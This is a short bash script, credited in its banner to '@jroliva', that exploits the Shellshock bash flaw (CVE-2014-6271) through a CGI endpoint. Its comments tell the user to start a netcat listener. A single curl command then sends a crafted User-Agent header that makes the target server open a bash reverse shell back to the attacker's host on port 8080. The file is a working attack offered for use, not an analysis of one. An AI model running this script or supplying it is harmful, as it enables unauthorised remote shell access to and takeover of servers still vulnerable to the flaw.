#!/bin/bash
echo little shellshock CVE-2014-6271 cgi-bin reverse shell script by @jroliva
# step 1.- #nc -lp 8080 -vvv
# step 2.-  #./little-shellshock-reverse.sh localhostIP attackhostIP
/usr/bin/curl -A "() { foo;};echo;/bin/bash -i > /dev/tcp/$1/8080 0<&1 2>&1" http://$2/cgi-bin/test.cgi